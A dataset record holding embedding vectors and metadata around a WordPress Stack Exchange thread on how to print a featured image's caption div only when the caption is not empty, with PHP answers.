-0.00350189208984375,
-0.033050537109375,
0.0208892822265625,
0.00836181640625,
0.0004763603210449219,
-0.01291656494140625,
-0.024688720703125,
-0.0068817138671875,
0.0215606689453125,
0.0567626953125,
-0.0092926025390625,
-0.0122222900390625,
0.07318115234375,
0.0478515625,
-0.007373809814453125,
-0.06402587890625,
-0.027801513671875,
-0.07818603515625,
0.023101806640625,
0.056854248046875,
0.01129913330078125,
-0.004077911376953125,
-0.002460479736328125,
0.0067901611328125,
0.0048980712890625,
0.01187896728515625,
-0.017120361328125,
0.0204010009765625,
0.0076751708984375,
0.03143310546875,
-0.01236724853515625,
0.029541015625,
-0.0108642578125,
-0.026214599609375,
-0.00484466552734375,
0.0152740478515625,
-0.0018024444580078125,
-0.005229949951171875,
-0.0266265869140625,
-0.0159912109375,
0.047119140625,
-0.01461029052734375,
0.021209716796875,
-0.0236358642578125,
-0.0391845703125,
0.0011348724365234375,
0.0648193359375,
-0.0076141357421875,
-0.0249481201171875,
-0.03851318359375,
0.00124359130859375,
-0.0134429931640625,
-0.033935546875,
0.01213836669921875,
-0.0129241943359375,
-0.056640625,
-0.0110931396484375,
-0.0226898193359375,
-0.0164031982421875,
-0.031280517578125,
0.07855224609375,
-0.025482177734375,
-0.022979736328125,
0.00537109375,
-0.0032444000244140625,
-0.020721435546875,
0.046600341796875,
-0.03997802734375,
0.046783447265625,
-0.025390625,
-0.0130157470703125,
-0.07904052734375,
-0.005718231201171875,
0.0182647705078125,
0.037445068359375,
-0.025238037109375,
0.022430419921875,
-0.02685546875,
0.0271148681640625,
-0.006885528564453125,
0.01401519775390625,
0.0008907318115234375,
0.01514434814453125,
-0.020294189453125,
0.00583648681640625,
-0.0036525726318359375,
-0.0224761962890625,
-0.001041412353515625,
-0.00984954833984375,
-0.03350830078125,
-0.0029087066650390625,
-0.0350341796875,
0.003032684326171875,
-0.0158538818359375,
-0.04052734375,
-0.041534423828125,
-0.001522064208984375,
0.0230560302734375,
0.0188446044921875,
-0.0128021240234375,
0.01617431640625,
-0.00714111328125,
-0.057403564453125,
0.06463623046875,
0.0274658203125,
-0.007686614990234375,
-0.0231170654296875,
0.04931640625,
0.01342010498046875,
-0.0555419921875,
0.0178680419921875,
-0.005756378173828125,
0.0384521484375,
-0.0645751953125,
0.040069580078125,
0.016448974609375,
-0.031219482421875,
0.0684814453125,
-0.0243682861328125,
0.01505279541015625,
-0.002864837646484375,
0.0023365020751953125,
-0.0081634521484375,
-0.0186920166015625,
0.00926971435546875,
-0.006732940673828125,
0.01317596435546875,
0.0279541015625,
-0.00933074951171875,
-0.0212249755859375,
-0.0225982666015625,
0.052825927734375,
0.0065765380859375,
0.0277252197265625,
-0.032196044921875,
-0.03009033203125,
0.01235198974609375,
0.01800537109375,
-0.00873565673828125,
0.0277099609375,
-0.005695343017578125,
-0.0166168212890625,
-0.0301055908203125,
0.00386810302734375,
-0.0169677734375,
0.006008148193359375,
0.00630950927734375,
0.02801513671875,
-0.01025390625,
0.0029163360595703125,
-0.0200653076171875,
-0.01534271240234375,
0.0694580078125,
0.0011548995971679688,
-0.03173828125,
0.015869140625,
-0.04437255859375,
0.01515960693359375,
0.01537322998046875,
-0.0154266357421875,
0.01517486572265625,
0.049407958984375,
0.01392364501953125,
0.01245880126953125,
-0.03668212890625,
0.0460205078125,
-0.019134521484375,
0.023040771484375,
0.01531219482421875,
-0.00571441650390625,
-0.0203399658203125,
0.09124755859375,
0.0196685791015625,
0.0306549072265625,
-0.017578125,
0.04010009765625,
0.0206146240234375,
0.04998779296875,
0.0232086181640625,
-0.048797607421875,
-0.00907135009765625,
0.03326416015625,
-0.0184326171875,
-0.036712646484375,
0.0174560546875,
0.0242767333984375,
0.065185546875,
0.009735107421875,
-0.0281982421875,
0.010894775390625,
-0.058319091796875,
-0.0194091796875,
0.057281494140625,
0.006488800048828125,
-0.06591796875,
-0.026611328125,
0.023101806640625,
0.02947998046875,
-0.011444091796875,
0.00033736228942871094,
0.005695343017578125,
-0.0021686553955078125,
0.0098114013671875,
-0.0214691162109375,
-0.02056884765625,
0.023040771484375,
0.03704833984375,
-0.00522613525390625,
-0.0297698974609375,
-0.025299072265625,
0.003734588623046875,
0.00595855712890625,
-0.01528167724609375,
-0.021575927734375,
0.02667236328125,
0.02020263671875,
0.07086181640625,
-0.04254150390625,
-0.04827880859375,
-0.01149749755859375,
-0.0178070068359375,
0.057861328125,
0.0299835205078125,
-0.04986572265625,
0.01210784912109375,
-0.0382080078125,
0.00833892822265625,
-0.01262664794921875,
-0.050628662109375,
-0.03741455078125,
-0.0190277099609375,
0.002735137939453125,
0.0136871337890625,
0.00392913818359375,
0.0178985595703125,
0.023895263671875,
0.0309295654296875,
-0.0252685546875,
0.05279541015625,
-0.0171051025390625,
0.030853271484375,
0.0216827392578125,
0.0156707763671875,
-0.01161956787109375,
-0.003971099853515625,
-0.0225830078125,
-0.00887298583984375,
0.0122222900390625,
-0.029022216796875,
-0.045989990234375,
-0.0007781982421875,
-0.0162353515625,
-0.01922607421875,
0.03173828125,
-0.019744873046875,
0.00753021240234375,
-0.007251739501953125,
0.00998687744140625,
-0.0151519775390625,
-0.017822265625,
-0.035980224609375,
-0.038330078125,
0.034515380859375,
-0.03082275390625,
-0.01300811767578125,
-0.006229400634765625,
0.01004791259765625,
0.00164031982421875,
-0.038116455078125,
-0.004199981689453125,
0.0298004150390625,
-0.0245513916015625,
0.037841796875,
0.1015625,
0.032318115234375,
0.048980712890625,
0.018707275390625,
0.0193939208984375,
0.027618408203125,
0.045684814453125,
0.036224365234375,
-0.04779052734375,
0.07342529296875,
0.0264892578125,
-0.01338958740234375,
0.049468994140625,
-0.044830322265625,
-0.003368377685546875,
-0.0183868408203125,
0.0535888671875,
0.01212310791015625,
0.01421356201171875,
0.028045654296875,
0.004276275634765625,
0.0228118896484375,
-0.00276947021484375,
0.0130462646484375,
-0.030303955078125,
0.02056884765625,
-0.01436614990234375,
-0.014923095703125,
-0.004261016845703125,
-0.0183258056640625,
0.0289306640625,
-0.0496826171875,
0.0472412109375,
-0.00873565673828125,
-0.040313720703125,
-0.0419921875,
0.029693603515625,
-0.0282440185546875,
-0.030059814453125,
-0.001499176025390625,
-0.0020885467529296875,
-0.00994873046875,
-0.048248291015625,
0.019134521484375,
-0.0200042724609375,
0.0032482147216796875,
-0.0223388671875,
-0.0010194778442382812,
0.0014705657958984375,
0.0254058837890625,
0.00086212158203125,
-0.040008544921875,
0.006076812744140625,
-0.0244140625,
-0.0239105224609375,
-0.0088653564453125,
-0.0098876953125,
0.0157928466796875,
-0.00487518310546875,
0.01488494873046875,
-0.019927978515625,
0.00302886962890625,
0.002468109130859375,
0.0183563232421875,
0.0777587890625,
-0.01227569580078125,
-0.0309906005859375,
0.040313720703125,
-0.00641632080078125,
-0.025604248046875,
-0.0233306884765625,
0.019439697265625,
-0.05181884765625,
-0.0008664131164550781,
-0.0007214546203613281,
0.00649261474609375,
0.0013246536254882812,
-0.0189666748046875,
-0.07147216796875,
0.08880615234375,
0.007556915283203125,
0.0184326171875,
-0.0093994140625,
0.0372314453125,
-0.0111541748046875,
0.005794525146484375,
-0.042327880859375,
0.0390625,
-0.03582763671875,
0.035888671875,
-0.051727294921875,
-0.0027294158935546875,
0.01345062255859375,
0.0264129638671875,
0.05902099609375,
0.0078582763671875,
-0.0447998046875,
-0.025848388671875,
0.060302734375,
0.08917236328125,
0.042449951171875,
0.007381439208984375,
0.0283660888671875,
0.057952880859375,
0.062744140625,
-0.055267333984375,
0.025238037109375,
-0.0225067138671875,
0.01690673828125,
0.0472412109375,
0.021209716796875,
0.0035800933837890625,
0.06646728515625,
-0.01462554931640625,
-0.0287628173828125,
0.0268402099609375,
0.031829833984375,
-0.0193939208984375,
-0.0007677078247070312,
0.0034847259521484375,
0.0186767578125,
-0.053802490234375,
-0.0173187255859375,
-0.0281524658203125,
0.045806884765625,
0.01560211181640625,
0.00753021240234375,
0.014373779296875,
0.0135345458984375,
0.038330078125,
-0.001953125,
0.00988006591796875,
0.01342010498046875,
0.01102447509765625,
0.047027587890625,
0.001941680908203125,
0.0222320556640625,
-0.057342529296875,
-0.03057861328125,
0.059967041015625,
0.07574462890625,
-0.0305023193359375,
0.0142059326171875,
0.01556396484375,
-0.0016450881958007812,
0.0012483596801757812,
-0.050201416015625,
0.00830841064453125,
0.01953125,
0.01776123046875,
-0.011688232421875,
0.0034389495849609375,
0.03533935546875,
0.036590576171875,
0.017425537109375,
0.01157379150390625,
-0.08013916015625,
0.0101165771484375,
-0.06536865234375,
0.0179443359375,
-0.0007915496826171875,
0.0723876953125,
0.0382080078125,
0.06842041015625,
-0.037139892578125,
-0.044189453125,
0.03680419921875,
0.01128387451171875,
-0.031463623046875,
-0.034271240234375,
0.00484466552734375,
-0.072265625,
-0.01319122314453125,
0.028717041015625,
0.06781005859375,
-0.01258087158203125,
0.05224609375,
-0.016082763671875,
-0.04620361328125,
0.0089111328125,
-0.04962158203125,
-0.0254974365234375,
-0.004688262939453125,
0.004871368408203125,
0.0135955810546875,
0.0239715576171875,
-0.01187896728515625,
-0.0136871337890625,
0.039886474609375,
0.0170745849609375,
-0.046112060546875,
0.0552978515625,
-0.0018587112426757812,
-0.00299835205078125,
0.0073699951171875,
0.01509857177734375,
0.01143646240234375,
-0.01131439208984375,
-0.047943115234375,
0.0026874542236328125,
0.0022335052490234375,
-0.053375244140625,
0.0010461807250976562,
0.032806396484375,
-0.0213470458984375,
0.00699615478515625,
-0.04229736328125,
-0.00315093994140625,
0.03741455078125,
-0.01346588134765625,
-0.007598876953125,
0.08343505859375,
0.0160980224609375,
0.0221405029296875,
-0.033905029296875,
-0.0107269287109375,
0.002727508544921875,
0.01125335693359375,
0.0245361328125,
-0.00966644287109375,
0.01529693603515625,
0.02203369140625,
-0.018585205078125,
0.06903076171875,
-0.07183837890625,
-0.0213775634765625,
0.047698974609375,
-0.01322174072265625,
0.0217437744140625,
-0.0044708251953125,
-0.050140380859375,
0.05010986328125,
0.037200927734375,
0.01512908935546875,
0.04083251953125,
-0.01395416259765625,
0.0133819580078125,
-0.022857666015625,
0.0256805419921875,
-0.0213165283203125,
-0.03399658203125,
-0.05615234375,
-0.02545166015625,
0.04473876953125,
0.0482177734375,
0.001789093017578125,
0.00257110595703125,
-0.016876220703125,
-0.0175018310546875,
0.025299072265625,
-0.00010961294174194336,
0.0216217041015625,
0.018798828125,
-0.0413818359375,
-0.032135009765625,
0.0068206787109375,
-0.0106048583984375,
0.0231475830078125,
0.01241302490234375,
0.0259857177734375,
0.00418853759765625,
-0.005664825439453125,
0.0153656005859375,
-0.0200958251953125,
0.041290283203125,
-0.00726318359375,
0.0174713134765625,
-0.0205535888671875,
0.0257720947265625,
-0.016265869140625,
-0.048248291015625,
-0.03515625,
-0.0626220703125,
0.00536346435546875,
0.0360107421875,
-0.024383544921875,
-0.0181121826171875,
-0.0755615234375,
-0.01316070556640625,
-0.0133056640625,
-0.022552490234375,
0.0091094970703125,
-0.00439453125,
-0.032989501953125,
0.0166168212890625,
-0.057159423828125,
-0.0024013519287109375,
0.0199127197265625,
0.0357666015625,
-0.058135986328125,
-0.0028095245361328125,
-0.03985595703125,
-0.0255279541015625,
-0.040130615234375,
0.0401611328125,
0.039947509765625,
-0.05438232421875,
-0.031158447265625,
0.0372314453125,
0.05157470703125,
0.07159423828125,
0.03363037109375,
-0.021820068359375,
0.01105499267578125,
0.01189422607421875,
-0.00795745849609375,
-0.07623291015625,
0.012908935546875,
-0.061187744140625,
-0.0161895751953125,
-0.005092620849609375,
0.00848388671875,
0.0272979736328125,
-0.0113067626953125,
0.0029144287109375,
0.0836181640625,
-0.0042572021484375,
-0.01045989990234375,
-0.01611328125,
-0.00244903564453125,
0.00335693359375,
0.025177001953125,
0.022979736328125,
-0.046478271484375,
-0.02801513671875,
0.0014162063598632812,
0.011322021484375,
-0.00034117698669433594,
0.034454345703125,
0.019439697265625,
-0.03179931640625,
0.00710296630859375,
-0.002727508544921875,
-0.0235443115234375,
0.0251312255859375,
-0.0161590576171875,
0.0191497802734375,
0.023345947265625,
-0.053802490234375,
-0.016510009765625,
-0.0222930908203125,
0.01049041748046875,
-0.00435638427734375,
-0.0172576904296875,
-0.032928466796875,
-0.0004439353942871094,
0.072509765625,
0.032562255859375,
0.0181884765625,
-0.049407958984375,
0.04827880859375,
0.0080413818359375,
-0.059844970703125,
0.006069183349609375,
0.0278167724609375,
-0.041015625,
-0.025665283203125,
0.0204925537109375,
-0.0077972412109375,
-0.018280029296875,
-0.002475738525390625,
-0.0399169921875,
-0.0140380859375,
-0.0232086181640625,
0.004268646240234375,
-0.035675048828125,
0.034881591796875,
0.035186767578125,
-0.043548583984375,
-0.0018033981323242188,
-0.00798797607421875,
0.00426483154296875,
0.01042938232421875,
-0.04229736328125,
0.00927734375,
0.015899658203125,
-0.016815185546875,
-0.0027313232421875,
0.0165557861328125,
0.032928466796875,
0.0021190643310546875,
-0.02508544921875,
-0.0390625,
0.0297393798828125,
0.00933074951171875,
0.01088714599609375,
-0.0215301513671875,
0.033203125,
0.0225830078125,
0.09027099609375,
0.01378631591796875,
0.06427001953125,
0.0097198486328125,
0.060272216796875,
-0.0276947021484375,
-0.01293182373046875,
-0.0247650146484375,
-0.04034423828125,
0.006229400634765625,
0.01520538330078125,
0.027069091796875,
-0.020965576171875,
0.0225067138671875,
-0.007904052734375,
0.0088653564453125,
0.0171051025390625
] |
8c040dcdda778bd561c483692de78313b4f01ddc
|
Wordpress Stackexchange
Q: How to show featured image CAPTION only if it exist I'm using this function in my functions.php to display image caption for faetured images:
function the_post_thumbnail_caption() {
global $post;
$thumbnail_id = get_post_thumbnail_id($post->ID);
$thumbnail_image = get_posts(array('p' => $thumbnail_id, 'post_type' => 'attachment'));
if ($thumbnail_image && isset($thumbnail_image[0])) {
echo '<div class="front-caption">'.$thumbnail_image[0]->post_excerpt.'</div>';
}
}
And using this in the template file to display the caption:
<?php
if (the_post_thumbnail_caption()) {
the_post_thumbnail_caption();
}
?>
In the functions file I have the caption displaying in a div class="front-caption" which I am styling with borders. If the caption does not exist then it still displays the empty bordered div.
If no caption exists I do not want to display the bordered div. I just want it to display nothing.
How can I properly code this to work? Thanks in advance.
A: I am a "little late" but this solution worked great for me. It will show the div only if the caption is not empty.
<?php
$get_description = get_post(get_post_thumbnail_id())->post_excerpt;
the_post_thumbnail();
if(!empty($get_description)){//If description is not empty show the div
echo '<div class="featured_caption">' . $get_description . '</div>';
}
?>
|
Q: How to show featured image CAPTION only if it exist I'm using this function in my functions.php to display image caption for faetured images:
function the_post_thumbnail_caption() {
global $post;
$thumbnail_id = get_post_thumbnail_id($post->ID);
$thumbnail_image = get_posts(array('p' => $thumbnail_id, 'post_type' => 'attachment'));
if ($thumbnail_image && isset($thumbnail_image[0])) {
echo '<div class="front-caption">'.$thumbnail_image[0]->post_excerpt.'</div>';
}
}
And using this in the template file to display the caption:
<?php
if (the_post_thumbnail_caption()) {
the_post_thumbnail_caption();
}
?>
In the functions file I have the caption displaying in a div class="front-caption" which I am styling with borders. If the caption does not exist then it still displays the empty bordered div.
If no caption exists I do not want to display the bordered div. I just want it to display nothing.
How can I properly code this to work? Thanks in advance.
A: I am a "little late" but this solution worked great for me. It will show the div only if the caption is not empty.
<?php
$get_description = get_post(get_post_thumbnail_id())->post_excerpt;
the_post_thumbnail();
if(!empty($get_description)){//If description is not empty show the div
echo '<div class="featured_caption">' . $get_description . '</div>';
}
?>
A: Please note that as of WordPress 4.6, the function has been added to core (/wp-includes/post-thumbnail-template.php).
Using the code previously posted here will cause the error:
Fatal error: Cannot redeclare the_post_thumbnail_caption()
To avoid this, please name the function something else, or if catering for earlier versions of WordPress in a theme, add a check like so:
if ( ! function_exists( 'the_post_thumbnail_caption' ) ) {
function the_post_thumbnail_caption() {
global $post;
$thumbnail_id = get_post_thumbnail_id($post->ID);
$thumbnail_image = get_posts(array('p' => $thumbnail_id, 'post_type' => 'attachment'));
if ($thumbnail_image && isset($thumbnail_image[0])) {
return '<div class="front-caption">'.$thumbnail_image[0]->post_excerpt.'</div>';
} else {
return;
}
}
}
A: You could try this :
function the_post_thumbnail_caption() {
global $post;
$thumbnail_id = get_post_thumbnail_id($post->ID);
$thumbnail_image = get_posts(array('p' => $thumbnail_id, 'post_type' => 'attachment'));
if ($thumbnail_image && isset($thumbnail_image[0])) {
return '<div class="front-caption">'.$thumbnail_image[0]->post_excerpt.'</div>';
} else {
return;
}
}
and then :
echo the_post_thumbnail_caption();
|
wordpress
|
{
"language": "en",
"length": 316,
"provenance": "stackexchange_00019.jsonl.gz:436366",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111937"
}
|
[
0.0816650390625,
0.0040435791015625,
0.046356201171875,
-0.0223388671875,
0.0191192626953125,
-0.023712158203125,
0.05078125,
-0.059783935546875,
0.02783203125,
0.01253509521484375,
-0.06744384765625,
0.020050048828125,
-0.041778564453125,
-0.005542755126953125,
-0.0252685546875,
-0.057586669921875,
0.0204620361328125,
0.0010786056518554688,
0.043365478515625,
0.00850677490234375,
0.00484466552734375,
0.039459228515625,
0.01128387451171875,
-0.007686614990234375,
0.01434326171875,
-0.06170654296875,
0.11865234375,
-0.029266357421875,
-0.0013475418090820312,
-0.036468505859375,
0.028411865234375,
0.0179443359375,
0.0111846923828125,
0.039886474609375,
-0.030426025390625,
0.0413818359375,
0.0017242431640625,
0.00390625,
-0.0014142990112304688,
0.0281524658203125,
0.01800537109375,
0.002902984619140625,
0.00846099853515625,
-0.014129638671875,
-0.00809478759765625,
-0.0100860595703125,
-0.0022449493408203125,
-0.03399658203125,
-0.004634857177734375,
0.0146331787109375,
0.041168212890625,
-0.00518035888671875,
0.047454833984375,
-0.0300445556640625,
-0.01340484619140625,
0.00665283203125,
-0.04534912109375,
0.015655517578125,
0.036163330078125,
0.0157623291015625,
-0.0158233642578125,
-0.0161590576171875,
0.004894256591796875,
-0.031158447265625,
0.0006351470947265625,
0.007038116455078125,
0.0015735626220703125,
0.01861572265625,
-0.03265380859375,
-0.0193939208984375,
0.0005145072937011719,
-0.0225677490234375,
0.0013685226440429688,
-0.0858154296875,
-0.02001953125,
0.08270263671875,
-0.0276031494140625,
-0.00684356689453125,
-0.0086669921875,
-0.034332275390625,
0.006786346435546875,
-0.023193359375,
-0.021087646484375,
0.035675048828125,
-0.0110626220703125,
0.04949951171875,
0.00637054443359375,
-0.016143798828125,
-0.0184783935546875,
-0.0133056640625,
-0.0113067626953125,
-0.0123291015625,
-0.045074462890625,
0.0108489990234375,
0.01515960693359375,
-0.046875,
0.037322998046875,
0.08355712890625,
-0.039276123046875,
-0.003368377685546875,
-0.026947021484375,
-0.022247314453125,
0.0014162063598632812,
-0.046630859375,
0.028472900390625,
0.048858642578125,
-0.0217437744140625,
-0.07781982421875,
0.034332275390625,
0.0269927978515625,
0.00913238525390625,
0.0127410888671875,
-0.004138946533203125,
-0.0091400146484375,
-0.0244903564453125,
-0.01593017578125,
-0.054351806640625,
0.0135650634765625,
0.0100555419921875,
-0.01178741455078125,
0.020355224609375,
0.01477813720703125,
0.0159149169921875,
-0.0082855224609375,
0.00836944580078125,
0.01300048828125,
-0.0248260498046875,
-0.043212890625,
0.049530029296875,
-0.0031681060791015625,
-0.050262451171875,
0.005565643310546875,
0.06512451171875,
0.0031528472900390625,
0.0171356201171875,
-0.0222625732421875,
-0.0005230903625488281,
-0.0151214599609375,
0.00045418739318847656,
-0.029022216796875,
0.0175323486328125,
0.01104736328125,
0.03765869140625,
-0.005035400390625,
-0.0097503662109375,
0.038299560546875,
0.0180511474609375,
-0.00864410400390625,
-0.0291595458984375,
-0.0780029296875,
0.0273590087890625,
-0.052947998046875,
0.0401611328125,
-0.01238250732421875,
0.0012979507446289062,
-0.04241943359375,
0.047882080078125,
-0.0462646484375,
-0.01386260986328125,
-0.043365478515625,
0.06829833984375,
0.0016622543334960938,
-0.02337646484375,
0.0064849853515625,
-0.039398193359375,
-0.019500732421875,
-0.03082275390625,
-0.01078033447265625,
0.01006317138671875,
0.038726806640625,
-0.03326416015625,
-0.021209716796875,
0.00481414794921875,
0.01110076904296875,
-0.022491455078125,
0.03216552734375,
0.001087188720703125,
-0.0374755859375,
0.049285888671875,
0.0305938720703125,
-0.032379150390625,
-0.0235137939453125,
0.05926513671875,
-0.043670654296875,
-0.052581787109375,
0.037628173828125,
-0.004856109619140625,
0.043701171875,
0.025726318359375,
0.00969696044921875,
0.0138092041015625,
0.0015077590942382812,
-0.05047607421875,
0.00287628173828125,
-0.00537109375,
-0.0124969482421875,
0.0037097930908203125,
-0.0253753662109375,
0.0027256011962890625,
0.02093505859375,
0.028228759765625,
-0.0203094482421875,
-0.01064300537109375,
-0.01558685302734375,
-0.0693359375,
-0.030548095703125,
-0.0093841552734375,
0.019775390625,
-0.0096893310546875,
0.062255859375,
0.0252532958984375,
0.03485107421875,
-0.034759521484375,
-0.025421142578125,
-0.002643585205078125,
-0.00551605224609375,
-0.01473236083984375,
0.0208892822265625,
0.01499176025390625,
0.03302001953125,
0.030609130859375,
-0.01334381103515625,
0.004993438720703125,
-0.009002685546875,
0.06634521484375,
0.020721435546875,
-0.0277862548828125,
-0.015625,
0.032012939453125,
0.0225372314453125,
-0.057647705078125,
0.0244903564453125,
0.035400390625,
0.0014514923095703125,
-0.0684814453125,
-0.0126953125,
-0.009063720703125,
-0.027374267578125,
-0.014129638671875,
0.052459716796875,
0.03564453125,
0.04620361328125,
-0.0144500732421875,
-0.00568389892578125,
0.08367919921875,
-0.0181427001953125,
0.006641387939453125,
-0.01412200927734375,
-0.0290679931640625,
-0.035614013671875,
0.021392822265625,
-0.0160369873046875,
0.0196990966796875,
-0.043487548828125,
0.01033782958984375,
0.0250244140625,
0.007785797119140625,
0.01404571533203125,
-0.0176544189453125,
0.039031982421875,
-0.0258026123046875,
0.01428985595703125,
0.01406097412109375,
-0.0205841064453125,
0.016754150390625,
0.009002685546875,
0.01247406005859375,
0.0016489028930664062,
-0.0235748291015625,
0.0171356201171875,
0.0144805908203125,
-0.0124053955078125,
0.006572723388671875,
0.0577392578125,
0.0094757080078125,
0.02105712890625,
-0.022857666015625,
-0.018768310546875,
-0.0014934539794921875,
0.026885986328125,
-0.01078033447265625,
0.011993408203125,
-0.03509521484375,
0.00372314453125,
0.0081024169921875,
-0.0279693603515625,
0.0012063980102539062,
0.0278778076171875,
0.00179290771484375,
0.01023101806640625,
0.0085296630859375,
0.047119140625,
0.0014743804931640625,
0.035369873046875,
0.0045623779296875,
0.01348876953125,
-0.053680419921875,
-0.06072998046875,
0.06298828125,
-0.053741455078125,
0.021240234375,
0.07745361328125,
-0.0171661376953125,
0.048492431640625,
0.00640869140625,
0.0014629364013671875,
0.006832122802734375,
0.01354217529296875,
0.006397247314453125,
-0.0024356842041015625,
-0.0177764892578125,
0.03814697265625,
0.0221405029296875,
0.1026611328125,
-0.060089111328125,
-0.054107666015625,
-0.01508331298828125,
0.03289794921875,
-0.0538330078125,
-0.048126220703125,
0.006443023681640625,
-0.056243896484375,
0.004245758056640625,
0.010833740234375,
-0.019805908203125,
-0.01666259765625,
0.033599853515625,
-0.004238128662109375,
-0.020599365234375,
-0.00710296630859375,
-0.059814453125,
-0.04803466796875,
-0.07940673828125,
0.0016841888427734375,
-0.0130157470703125,
0.0284881591796875,
0.0005464553833007812,
0.08056640625,
0.0222320556640625,
-0.0318603515625,
0.0439453125,
0.030609130859375,
-0.006183624267578125,
0.03387451171875,
0.0258331298828125,
-0.0024852752685546875,
-0.0247802734375,
0.007488250732421875,
-0.0008249282836914062,
0.00836944580078125,
-0.03607177734375,
-0.0127105712890625,
-0.0177764892578125,
-0.017364501953125,
-0.019927978515625,
0.06414794921875,
0.0430908203125,
0.0109405517578125,
0.043914794921875,
-0.0308990478515625,
-0.06549072265625,
-0.03228759765625,
-0.08709716796875,
0.01959228515625,
0.0738525390625,
0.016937255859375,
-0.028717041015625,
0.01543426513671875,
0.005542755126953125,
0.026275634765625,
0.0008230209350585938,
-0.01146697998046875,
0.0291290283203125,
-0.00684356689453125,
-0.007633209228515625,
-0.032806396484375,
0.0210723876953125,
0.002979278564453125,
0.033050537109375,
0.01399993896484375,
0.0589599609375,
-0.0147552490234375,
0.013214111328125,
-0.092529296875,
-0.004634857177734375,
0.0254364013671875,
0.016815185546875,
-0.0014438629150390625,
0.00006204843521118164,
-0.0272064208984375,
0.00786590576171875,
0.045806884765625,
-0.03692626953125,
-0.0197296142578125,
-0.0160369873046875,
-0.005039215087890625,
0.023193359375,
-0.00945281982421875,
-0.01094818115234375,
-0.0091552734375,
-0.0726318359375,
-0.01154327392578125,
-0.0300750732421875,
-0.0174102783203125,
0.006504058837890625,
-0.0193023681640625,
-0.029144287109375,
-0.040008544921875,
0.0259857177734375,
0.0239105224609375,
0.006954193115234375,
0.03167724609375,
-0.0206298828125,
0.053802490234375,
-0.023345947265625,
-0.027557373046875,
-0.039825439453125,
-0.01264190673828125,
0.038543701171875,
0.0210723876953125,
-0.05230712890625,
0.045440673828125,
-0.02850341796875,
0.029632568359375,
0.0160064697265625,
0.0066375732421875,
0.01763916015625,
0.0027332305908203125,
0.0033473968505859375,
-0.0210723876953125,
0.0226593017578125,
-0.049224853515625,
-0.028350830078125,
-0.038818359375,
-0.026031494140625,
-0.0027751922607421875,
-0.0265350341796875,
0.0086669921875,
-0.0164337158203125,
-0.0003094673156738281,
-0.0125579833984375,
-0.008758544921875,
0.0321044921875,
0.0232086181640625,
0.0198211669921875,
-0.0099945068359375,
-0.00585174560546875,
-0.0224609375,
0.04962158203125,
-0.01195526123046875,
-0.035186767578125,
0.007061004638671875,
0.0692138671875,
0.0146942138671875,
-0.0207672119140625,
-0.055908203125,
0.0284881591796875,
0.044647216796875,
0.020538330078125,
0.004077911376953125,
-0.00047087669372558594,
-0.03619384765625,
0.01348876953125,
0.0283050537109375,
-0.00797271728515625,
-0.01428985595703125,
0.046417236328125,
0.0010356903076171875,
-0.010711669921875,
-0.00872802734375,
-0.0084686279296875,
0.0291748046875,
0.028045654296875,
-0.01263427734375,
-0.007457733154296875,
0.003849029541015625,
0.00936126708984375,
-0.017242431640625,
0.006519317626953125,
-0.00811004638671875,
0.01398468017578125,
-0.0143585205078125,
0.032196044921875,
0.0217437744140625,
0.0247039794921875,
0.004756927490234375,
-0.021453857421875,
0.039703369140625,
0.0001481771469116211,
0.01107025146484375,
-0.020782470703125,
-0.00975799560546875,
0.026458740234375,
0.0038700103759765625,
-0.002788543701171875,
0.0219879150390625,
-0.004627227783203125,
0.0206756591796875,
-0.0005512237548828125,
-0.0626220703125,
-0.00716400146484375,
0.00087738037109375,
0.027191162109375,
-0.0035457611083984375,
0.0305023193359375,
0.003475189208984375,
-0.00897216796875,
0.0265045166015625,
-0.0111846923828125,
0.0091094970703125,
0.013031005859375,
-0.0181732177734375,
0.005474090576171875,
0.01247406005859375,
-0.01280975341796875,
-0.01873779296875,
0.061553955078125,
0.00754547119140625,
0.0172271728515625,
-0.019500732421875,
0.0059356689453125,
0.022613525390625,
0.04010009765625,
0.03729248046875,
-0.0172119140625,
-0.0341796875,
0.0465087890625,
-0.008514404296875,
-0.03204345703125,
-0.034759521484375,
0.06396484375,
0.042327880859375,
-0.0684814453125,
-0.0406494140625,
-0.0047149658203125,
0.007526397705078125,
-0.036376953125,
0.042266845703125,
0.018829345703125,
-0.02813720703125,
-0.0268402099609375,
0.01837158203125,
0.034332275390625,
0.0212554931640625,
-0.0389404296875,
0.005634307861328125,
-0.0201873779296875,
0.007495880126953125,
-0.020751953125,
-0.047943115234375,
0.0362548828125,
0.037811279296875,
-0.0016889572143554688,
-0.042449951171875,
-0.0257110595703125,
0.058929443359375,
0.035858154296875,
-0.030792236328125,
-0.0196990966796875,
0.0250091552734375,
-0.0867919921875,
-0.0013952255249023438,
-0.01074981689453125,
0.03460693359375,
-0.06072998046875,
0.042816162109375,
0.0177154541015625,
0.044403076171875,
-0.035400390625,
-0.00928497314453125,
-0.039825439453125,
-0.011016845703125,
0.0026950836181640625,
-0.0310211181640625,
-0.0450439453125,
-0.01351165771484375,
-0.0005331039428710938,
0.020263671875,
0.004505157470703125,
0.0192413330078125,
-0.023468017578125,
0.01739501953125,
0.0200347900390625,
0.06683349609375,
-0.01033782958984375,
0.0193328857421875,
0.037506103515625,
0.046661376953125,
0.0172882080078125,
-0.0170745849609375,
-0.015350341796875,
-0.0155181884765625,
-0.0128173828125,
-0.031463623046875,
0.0196380615234375,
0.01210784912109375,
0.0279083251953125,
-0.0029659271240234375,
-0.0042266845703125,
0.016693115234375,
-0.017364501953125,
0.020782470703125,
-0.0026912689208984375,
-0.0266571044921875,
0.00731658935546875,
0.047393798828125,
-0.00003784894943237305,
0.00736236572265625,
-0.041717529296875,
0.0245208740234375,
0.0169677734375,
0.0008440017700195312,
0.0295257568359375,
-0.04571533203125,
0.018951416015625,
0.04071044921875,
-0.0085296630859375,
0.00409698486328125,
0.0208587646484375,
-0.01399993896484375,
0.02264404296875,
0.004993438720703125,
0.01276397705078125,
0.01416015625,
-0.003520965576171875,
-0.057586669921875,
0.02459716796875,
0.0699462890625,
0.017913818359375,
-0.0269927978515625,
0.06341552734375,
-0.0281219482421875,
0.004619598388671875,
0.0091400146484375,
0.043548583984375,
0.0258636474609375,
-0.0287322998046875,
0.0255584716796875,
-0.038543701171875,
0.01025390625,
-0.00850677490234375,
0.010162353515625,
0.020172119140625,
0.05877685546875,
-0.04888916015625,
-0.0226287841796875,
0.019439697265625,
-0.0288238525390625,
-0.0040130615234375,
0.0027484893798828125,
0.0208740234375,
0.0214996337890625,
-0.09478759765625,
0.02508544921875,
0.07012939453125,
-0.00750732421875,
